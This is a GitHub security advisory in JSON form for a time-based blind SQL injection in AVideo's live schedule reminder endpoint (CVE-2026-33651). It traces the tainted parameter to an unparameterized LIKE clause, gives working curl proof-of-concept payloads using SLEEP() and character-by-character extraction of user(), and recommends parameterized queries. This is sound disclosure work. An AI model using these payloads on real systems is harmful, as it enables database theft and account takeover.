{"id":"GHSA-pvw4-p2jm-chjm","summary":"AVideo has a Blind SQL Injection in Live Schedule Reminder via Unsanitized live_schedule_id in Scheduler_commands::getAllActiveOrToRepeat()","details":"## Summary\n\nThe `remindMe.json.php` endpoint passes `$_REQUEST['live_schedule_id']` through multiple functions without sanitization until it reaches `Scheduler_commands::getAllActiveOrToRepeat()`, which directly concatenates it into a SQL `LIKE` clause. Although intermediate functions (`new Live_schedule()`, `getUsers_idOrCompany()`) apply `intval()` internally, they do so on local copies within `ObjectYPT::getFromDb()`, leaving the original tainted variable unchanged. Any authenticated user can perform time-based blind SQL injection to extract arbitrary database contents.\n\n## Details\n\nThe vulnerability involves a 6-step data flow from user input to an unsanitized SQL sink:\n\n**Step 1 — User input (no sanitization):**\n`plugin/Live/remindMe.json.php:15`:\n```php\n$reminder = Live::setLiveScheduleReminder($_REQUEST['live_schedule_id'], ...);\n```\n\n**Step 2 — Auth check passes for any user:**\n`plugin/Live/Live.php:4126`:\n```php\nif (!User::isLogged()) {\n    $obj-\u003emsg = __('Must be logged');\n    return $obj;\n}\n```\n\n**Step 3 — intval() applied only internally, original variable unchanged:**\n`plugin/Live/Live.php:4141-4143`:\n```php\n$ls = new Live_schedule($live_schedule_id);  // intval() inside getFromDb() only\n$users_id = Live_schedule::getUsers_idOrCompany($live_schedule_id);  // same\n```\n\n`objects/Object.php:84` (inside `getFromDb()`):\n```php\n$id = intval($id);  // sanitizes the LOCAL parameter, not the caller's variable\n```\n\nWith input like `1\" AND SLEEP(5) --`, `intval()` extracts `1`, loads schedule ID 1 successfully. The caller's `$live_schedule_id` remains `1\" AND SLEEP(5) --`.\n\n**Step 4 — Tainted value flows to type string construction:**\n`plugin/Live/Live.php:4152` → `Live.php:4193-4194`:\n```php\n$reminders = self::getLiveScheduleReminders($live_schedule_id);\n\n// getLiveScheduleReminders calls:\n$type = self::getLiveScheduleReminderBaseNameType($live_schedule_id);\n// which builds: \"LiveScheduleReminder_{$to_users_id}_{$live_schedule_id}\"\nreturn Scheduler_commands::getAllActiveOrToRepeat($type);\n```\n\n**Step 5 — SQL injection sink:**\n`plugin/Scheduler/Objects/Scheduler_commands.php:340-347`:\n```php\n$sql = \"SELECT * FROM \" . static::getTableName() . \" WHERE (status='a' OR status='r') \";\nif(!empty($type)){\n    $sql .= ' AND `type` LIKE \"'.$type.'%\" ';  // LINE 343: direct concatenation\n}\n$res = sqlDAL::readSql($sql);  // LINE 347: no parameterization\n```\n\n## PoC\n\n**Prerequisites:** Any authenticated user session, at least one `live_schedule` record (ID=1).\n\n**Step 1 — Baseline request (should return quickly):**\n```bash\ncurl -s -o /dev/null -w \"%{time_total}\" \\\n  -b \"PHPSESSID=\u003cvalid_session\u003e\" \\\n  \"http://target/plugin/Live/remindMe.json.php?live_schedule_id=1&minutesEarlier=10\"\n```\nExpected: response in ~0.1-0.5s\n\n**Step 2 — Time-based injection (5 second delay):**\n```bash\ncurl -s -o /dev/null -w \"%{time_total}\" \\\n  -b \"PHPSESSID=\u003cvalid_session\u003e\" \\\n  --get --data-urlencode 'live_schedule_id=1\" AND SLEEP(5) -- ' \\\n  --data-urlencode 'minutesEarlier=10' \\\n  \"http://target/plugin/Live/remindMe.json.php\"\n```\nExpected: response delayed by ~5 seconds, confirming injection.\n\nThe resulting SQL becomes:\n```sql\nSELECT * FROM scheduler_commands\nWHERE (status='a' OR status='r')\n  AND `type` LIKE \"LiveScheduleReminder_123_1\" AND SLEEP(5) -- %\"\n```\n\n**Step 3 — Data extraction (example: first character of database user):**\n```bash\ncurl -s -o /dev/null -w \"%{time_total}\" \\\n  -b \"PHPSESSID=\u003cvalid_session\u003e\" \\\n  --get --data-urlencode 'live_schedule_id=1\" AND IF(SUBSTRING(user(),1,1)=\"r\",SLEEP(5),0) -- ' \\\n  --data-urlencode 'minutesEarlier=10' \\\n  \"http://target/plugin/Live/remindMe.json.php\"\n```\nIf the response is delayed 5 seconds, the first character of `user()` is `r`.\n\n## Impact\n\n- **Full database read**: An attacker with any authenticated session can extract all database contents character-by-character using time-based blind techniques, including admin credentials, user PII (emails, passwords), API keys, and session tokens.\n- **Data modification**: Depending on MySQL permissions, stacked queries or subquery-based writes could allow INSERT/UPDATE/DELETE operations.\n- **Account takeover**: Extracted admin password hashes or session tokens enable full platform compromise.\n- **Low barrier**: Only requires a basic authenticated account — no admin privileges needed.\n\n## Recommended Fix\n\n**Option 1 — Parameterize the query in `Scheduler_commands::getAllActiveOrToRepeat()`:**\n\n`plugin/Scheduler/Objects/Scheduler_commands.php:335-347`:\n```php\npublic static function getAllActiveOrToRepeat($type='') {\n    global $global;\n    if (!static::isTableInstalled()) {\n        return false;\n    }\n    $sql = \"SELECT * FROM \" . static::getTableName() . \" WHERE (status=? OR status=?) \";\n    $formats = \"ss\";\n    $values = [self::$statusActive, self::$statusRepeat];\n\n    if(!empty($type)){\n        $sql .= ' AND `type` LIKE ? ';\n        $formats .= \"s\";\n        $values[] = $type . \"%\";\n    }\n\n    $sql .= self::getSqlFromPost();\n    $res = sqlDAL::readSql($sql, $formats, $values);\n    $fullData = sqlDAL::fetchAllAssoc($res);\n    sqlDAL::close($res);\n    $rows = array();\n    if ($res != false) {\n        foreach ($fullData as $row) {\n            $rows[] = $row;\n        }\n    }\n    return $rows;\n}\n```\n\n**Option 2 — Additionally sanitize at the entry point:**\n\n`plugin/Live/remindMe.json.php:15` (defense in depth):\n```php\n$_REQUEST['live_schedule_id'] = intval($_REQUEST['live_schedule_id']);\n$reminder = Live::setLiveScheduleReminder($_REQUEST['live_schedule_id'], ...);\n```\n\nBoth fixes should be applied for defense in depth.","aliases":["CVE-2026-33651"],"modified":"2026-03-25T18:11:20.320934Z","published":"2026-03-25T17:50:16Z","database_specific":{"github_reviewed_at":"2026-03-25T17:50:16Z","nvd_published_at":"2026-03-23T19:16:41Z","cwe_ids":["CWE-89"],"severity":"HIGH","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-pvw4-p2jm-chjm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33651"},{"type":"WEB","url":"https://github.com/WWBN/AVideo/commit/75d45780728294ededa1e3f842f95295d3e7d144"},{"type":"PACKAGE","url":"https://github.com/WWBN/AVideo"}],"affected":[{"package":{"name":"wwbn/avideo","ecosystem":"Packagist","purl":"pkg:composer/wwbn/avideo"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"26.0"}]}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0","26.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-pvw4-p2jm-chjm/GHSA-pvw4-p2jm-chjm.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"}]}